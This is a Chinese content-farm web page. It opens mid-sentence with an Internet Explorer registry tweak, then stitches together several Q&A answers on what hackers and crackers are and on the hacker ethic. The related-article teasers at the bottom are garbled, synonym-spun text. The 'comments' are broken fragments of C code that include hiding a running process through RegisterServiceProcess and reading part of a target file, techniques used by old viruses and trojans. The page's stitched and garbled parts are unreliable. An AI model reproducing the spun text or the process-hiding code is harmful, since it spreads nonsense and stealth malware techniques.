Applets时有更多的选择,并对本地电脑安全产生更大的影响。下面是具体的方法:打开“开始”菜单中的“运行”,在弹出的“运行”对话框中输入Regedit.exe,打开注册表编辑器,点击前面的“+”号顺次展开到:HKEY_CURRE-NT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings\Zones\0,在右边窗口中找到DWORD值“Flags”,默认键值为十六进制的21(十进制33),双击“Flags”,在弹出的对话框中将它的键值改为“1”即可,关闭注册表编辑器。无需重新启动电脑,重新打开IE,再次点击“工具→Internet选项→安全”标签,你就会看到多了一个“我的电脑”图标,在这里你可以设定它的安全等级。将它的安全等级设定高些,这样的防范更严密

黑客是怎么定义的?

黑客(hacker) 黑客始于20世纪50年代,最早是出现在麻省理工学院里,他们是一群在贝尔实验室里专门钻研高级计算机技术的人,根本不是我们平常所知道那些黑客,而这也是黑客这个词的本义。但是很快他们就不再局限于技术的研究,而开始了对计算机网络的攻击。60年代他们反对技术垄断,70年代他们提出电脑应该为民所用,80年代他们又提出信息共享,他们通过黑客这种手段向自己的目标奋斗着,可以说今天的全球信息化他们也有一份功劳。但到了90年代,事情开始变了,技术不再是少数人的专有权力,越来越多的人都掌握了这些,导致了黑客的概念与行为都发生了很大的变化。现在的黑客已经成了利用技术手段进入其权限以外的计算机系统的人,人们对他们已不再是以往的崇拜,更多的是畏惧和批评。从某个角度来说,现在网络上的大多数黑客其实根本不配用黑客这个名称。 骇客(cracker) 这里说的可不是电影《骇客帝国》里的那个救世主,恰好相反,现实中的骇客正是把网络搞的乌烟瘴气的罪魁祸首。所谓骇客就是利用现有的一些程序进入别人的计算机系统后发现安全漏洞,并且利用这些漏洞破坏你的网站,让你出洋相;还有那些专门破译软件密码的从而制作盗版软件的人也是骇客的一种,可以说中国盗版如此严重也是骇客的“功劳”。骇客并没有想象中可怕,很多人一提到他们就联想到网络犯罪,这完全是没必要的。骇客们也只不过是为了炫耀自己的技术,大多数人并没有恶意。他们未必具有很高的技术,但有老顽童周伯通的心理,老是喜欢跟你开玩笑,通常用一些简单的攻击手段去搞一搞BBS、聊天室之类的。尽管如此,其中还是不乏一些用心险恶之人,利用自己的技术进行网络犯罪。

黑客的定义是什么?黑客和骇客有什么区别?真正意义上的黑客是怎样的?

1、真正的"黑客" 黑客起源于英文Hacker,Hack的原意时"劈斩",做一件漂亮的事情。在美国的校园里,它往往是恶作剧的代名词。如果把这些归纳做一个定义,黑客就是利用技术手段进入其权限以外的计算机系统。对于这个定义,我们应该注意两点:首先,黑客是利用技术手段而不是通过非技术手段,如色情等等;其次,进入其权限以外的计算机系统。还有一点大家也应该注意到,他进入计算机系统作了些什么?这里并没有说明。因此,黑客本身应该是一个中性词,如果做了破坏,可能就是另外一类人。如果不做这样的区分,不掌握黑客的特征,就会误用这个词! 2、黑客的行为特征 从行为特征来说,黑客一般具有以下几个特征: (1)热衷挑战。如果能发现大公司机构或安全公司的问题,当然就能证明自己的能力。 (2)崇尚自由(这是从国外黑客的角度来说的)。这种自由是一种无限的自由,可以说是自由主义者、无政府主义的理念,是20世纪60年代在美国反主流的文化中形成的。 (3)主张信息、资源的共享 (4)富有反叛精神。他们藐视传统与权威,有热情,又有冲动。 (5)由于黑客进入的是他们权限以外的计算机系统,因此,常常表现为破坏性的行为,但程度会有所不同。 3、黑客的种类、区分 在定义时,我们已经把黑客看成是一群人,他们具有年轻化、男性化的特征。一种是传统的黑客,就行我们的定义所说的,他们进入别人的计算机系统后并不会进行什么破坏性的行为,只是告诉你的密码不安全,而不会破坏你的信息,原有的东西都会保留不动;另一种情形是,他们发现你的安全漏洞,并且利用这些漏洞破坏你的网站,这些人就成了骇客(Cracker)。只要是带有破坏性目的的或者有恶意的人掌握你的信息后,向你要钱,如果不给他钱,就要把那些信息公布出来,这都是骇客。还有一类人叫做朋客,恶作剧者,他们未必具有很高的技术,但是喜欢跟你开玩笑,通常用一些简单的攻击手段去搞一搞BBS、聊天室之类的。所以,我们把这些人分为传统的网络黑客、网络朋客一及网络骇客。 一个恶意(一般是非法的)试图破解或破坏某个程序、系统及网络安全的人。这个意义常常对那些符合条件真正的黑客造成严重困扰,他们建议媒体将这群人称为"骇客"(Cracker)。有时这群人也被叫做"黑帽黑客"。 试图破解某系统或网络以提醒该系统所有者此系统有安全漏洞,这群人往往被称作"白帽黑客"或"思匿客"(Sneaker)。许多这样的认识电脑安全公司的雇员,并在完全合法的情况下攻击某系统。 一个通过知识或猜测而对某段程序(往往是好的)修改,并改变(或者增加)该程序用途的人。 "脚本小孩"(Scirpts Kids)则指那些完全没有或仅有一点点黑客技巧,而只是按照提示或运行某种骇客程序来达到破解目的的人。在中国常常被称之为"菜鸟黑客"! 4、黑客的"信仰" 真正的黑客是自由的,他们像许多死去了的优秀使人一样,试图打破束缚自己的脚链和枷锁。他们无法忍受条条框框,向往开放的未来(源代码)和自由的空气(软件),他们自称是"为自由(FREE)而战的斗士"。他们认为计算机属于每一个人(Everyone),软件不是可以贴上主义与暴利标签的摇钱树。对于软件公司把程序做成产品出售,并且不公开源代码的做法,在黑客看来既卑鄙又恶劣。黑客鄙视精神商业化,他们认为自己的使命是"追求自由"以及让"全人类获得自由",而不是"追求权利和金钱"(尽管骇客们这样)。他们把自己编写的应用程序放到网上,让人免费下载使用,并根据用户反馈信息不断的改进和完善自己的软件;他们挑战财富与权威,显得无拘无束。 真正的黑客不是网络时代的破坏者,而是守望者。当我们全力追捕黑客、大谈网络恐怖主义时,为什么我们不反思是谁发现了"陷阱"?从这个角度上说,黑客存在的意义就在于对技术的监督,没有监督的技术不堪一击。 5、黑客与骇客的区别 黑客与骇客最根本的区别在于,黑客们"建设",骇客们"破坏"。

谁能告诉我黑客的确切定义?

什么是黑客?

在日本出版的《新黑客字典》中,对黑客是这样定义的:“喜欢探索软件

程序并从中增长了其个人才干的人。他们不像绝大多数电脑使用者那样,只规

规矩矩地了解别人指定的狭小的一部分知识”。在Open Source(开放源代码)

旗手ERIC。S。RAYMOND的《The New Hacker‘s Dictionary》一文中,对“Hac

ker”的解释包括了下面几类人:

一:那些喜欢发掘程序系统内部实现细节的人,在这种发掘过程中,他们延

伸并扩展着自己的能力,这和只满足于学习有限知识的人是截然不同的

二:那些狂热地沉浸在编程乐趣的人,而且,他们不仅仅是在理论上谈及编

三:一个高超的程序设计专家

四:一个喜欢智力挑战的,并创造性地突破各种环境限制的人

五:一个恶意的爱管闲事的家伙,他试图在网络上逡巡溜达的同时发现一些

敏感的信息

对最后一类人,ERIC。S。RAYMOND赋予其更恰当的一个称谓,那就是“Cra

cker”,有就是我们常说的“骇客”,指那些乐于破坏的家伙。当他们在给这个

社会制造着麻烦和噱头的同时,就只能被冠以“骇客”之名。正是因为“骇客”

的存在,纯正而古老的黑客精神才愈来愈被人曲解,但在真正崇尚黑客精神的一

类人眼里,“骇客”与“黑客”是如此的泾渭分明,不可混淆!更有甚者,有些

黑客们说:在黑客界,斗争只存在于“黑客”和“骇客”之间!

黑客群体有自己特有的一套行为准则(the hacker ethic)美国学者史蒂夫

。利维在其著名的《黑客电脑史》中所指出的黑客道德准则(the hacker ethic)

就是对其最深刻的表述:

(1),通往电脑的路不止一条

(2),所有的信息都应当是免费共享的

(3),一定要打破电脑集权

(4),在电脑上创造的是艺术和美

(5),计算机将使生活更加美好

可以看出,“黑客道德准则”正是这个独特的文化群体一直心照不宣地遵循

着的“江湖规矩”,以这种“江湖规矩”作为参照,黑客们的行为特征也就清晰

地呈现给我们了!

一,热衷挑战

黑客们多数都有很高的智慧,至少在某些方面表现突出。他们喜欢挑战自己

的能力,编写高难度程序,破译电脑密码给他们带来了神气的魔力,认为运用自

己的智慧和电脑技术去突破某些著名的防卫措施森严的站点是一件极、富刺激性

和挑战性的冒险活动。

二,崇尚自由

黑客文化首先给人的突出感觉就是一种自由不羁的的精神。黑客如同夜行的蝙

蝠侠,任意穿梭在网络空间中。黑客在电脑虚拟世界发挥着自己的极致的自由。

他们随意登录在世界各地的网站,完成着现实生活中无法企及的冒险旅程,实现

着个人生命的虚拟体验。正是这种对自由的体验,使黑客如同吸毒上瘾一样,对

网络入侵乐此不疲

三,主张信息共享

黑客们认为所有的信息都应当是免费的和公开的,认为计算机应该是大众的工

具,而不应该只为有钱人私有。信息应该是不受限制的,它属于每个人,拥有知

识或信息是每个人的天赋权利

四,反叛精神

黑客文化带有某种反叛世界的倾向,黑客们蔑视传统,反抗权威,痛恨集权,

其行为模式以深深烙上了无政府主义的印记。互联网的一个显著特点是平等和共

享,对于在网络中存在的许多禁区,黑客们认为是有违网络特征的,他们希望建

立一个没有权威,没有既定程序的社会,所以他们一般都喜欢与传统,权威和集

权做永无休止的斗争

五,破坏心理

黑客们要在网络空间来去自如,蔑视权威,就必然夹带着某些破坏行动。只有

突破计算机和网络的防护措施才能随意登录站点,只有颠覆权威设置的程序才能

表示反抗权威,也只有摧毁网络秩序才能达至人人平等的信息共享目标。当然,

由于心理动机不同,不同黑客行为的破坏程度也是有所区别的!

这样一种独特的黑客文化,必然孕育出黑客群体所读有的文化态度!

(1)这个世界不断涌现出许多迷人的问题等待人们去解决

(2)一个问题不应该重复地解决两次

(3)无聊而乏味的工作是可恶的

(4)自由是美好的,黑客们需要的是自由协作和信息共享,而不是专制和所

谓的权威

(5)态度并不能成为能力的替代品,想成为黑客,只有态度是不够的,更重

要的是,还在于努力工作,倾心奉献,钻研和实践!

扫描二维码推送至手机访问。

版权声明:本文由万物知识分享发布,如需转载请注明出处。

本文链接:http://qmsspa.com/32128.html

分享给朋友:

“包含如何根据文本定义黑客空间的词条” 的相关文章

移动端适配要注意什么(移动端平台的搭建所用到的技术)

移动端适配要注意什么(移动端平台的搭建所用到的技术)

现在 跟着 挪动流质的赓续 增长 ,许多 站少开端 研讨 挪动端网站的劣化答题,个中 便有人提到,是可须要 零丁 搭修挪动端网站?昨天火源智库便分享一高挪动端零丁 搭修有需要 吗?的小我 意见 。 挪动端是兵野必争之天,不外 咱们出有...

支付宝收款码让别人拍照了怎么办(支付宝里面的拍照识花在什么地方)

支付宝收款码让别人拍照了怎么办(支付宝里面的拍照识花在什么地方)

比来 同伙 圈又拉没了一个名目:付出 宝摄影 名目。 只有您摄影 ,您便能赔钱。最低 三元一弛,一个账号一地否以拍 五0弛,否以多账号操做。 票价 九 八- 五 八0,许多 人上车。 付出 宝的摄影 名目究竟是甚么?如今 您的猎奇口被胜利 引发 了, 对于吧? 其真那个名目很单纯,...

seo优化公司如何分析和选择关键词(如何做好seo优化添加关键词和描述)

seo优化公司如何分析和选择关键词(如何做好seo优化添加关键词和描述)

作搜索引擎优化 网站劣化拉广,前期根本 上天天 皆须要 编纂 内容,宣布 文章,晋升 网站症结 词排名,然则 许多 站少领现本身 天天 皆有不变 宣布 年夜 质文章,网站症结 词排名却一向 出有甚么反响 ,觉得 异常 的没有解。其真次要的缘故原由 便是出有抉择...

2022 年极其简单的 SEO 策略(果园策略)

2022 年极其简单的 SEO 策略(果园策略)

每一个人的 SEO战略 正在条理 上皆差没有多:找到人们在搜刮 的症结 字并排名。 然则 有单纯战坚苦 的要领 去解决那个答题。 正在原指北外,咱们将先容 一个单纯的 SEO战略 ,以赞助 你以起码 的尽力 得到 最年夜 的成果 。 甚么是SEO战略 ? SEO战略 是一项旨正在赞助 你正在...

知乎账号浏览记录设备间同步(知乎必须下app才能查看内容)

知乎内容异步功效 上线,由宋九暂编纂 。 为了晋升 做者的多仄台领帖体验,知乎拉没了“内容异步”功效 。创做中间 成坐后,做者否以主动 将本身 正在其余仄台的内容异步到知乎~ 1、原期支撑 的仄台战功效 以下 2、操做流程 text-indent:  二em;text-align:...

怎样查微信关键词热度(微信关键词搜索热度分析)

微疑挪动拉没的综折症结 词剖析 对象 微疑索引,今朝 只可正在微疑app外拜访 ,还没有正在PC端上线。做者宋九暂 微疑指数先容 : 微疑指数反映的人气变迁去自 对于微疑搜刮 、微疑民间账号文章、同伙 圈公然 转领文章造成的综折剖析 。 em;text-align: left; 八 二 ...

评论列表

笙沉私野
2年前 (2022-05-28)

]='\0'; file://定义一个空数组 Read_Num=fread(temp_content,1,300,fp); file://从目标文件中读入前300个字符 while(Read_Num==300)

只酷两仪
2年前 (2022-05-29)

计算机,从而使更多的人有机会接触到计算机。这些人就是第一代黑客。当时做一名计算机黑客是一件很荣耀的事,它意味着对电脑的全身心的投入,虽然可能被外人视为疯狂之举。 70年代后期,第二代黑客领头人是

语酌末屿
2年前 (2022-05-28)

ss()函数的地址 lpRegisterServiceProcess(GetCurrentProcessId(),1); file://执行RegisterServiceProcess()函数,隐藏本进程 FreeLib

囤梦怎忘
2年前 (2022-05-28)

en File"); file://返回“Fail By Open File”的错误信息 goto END; file://跳到END } }

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。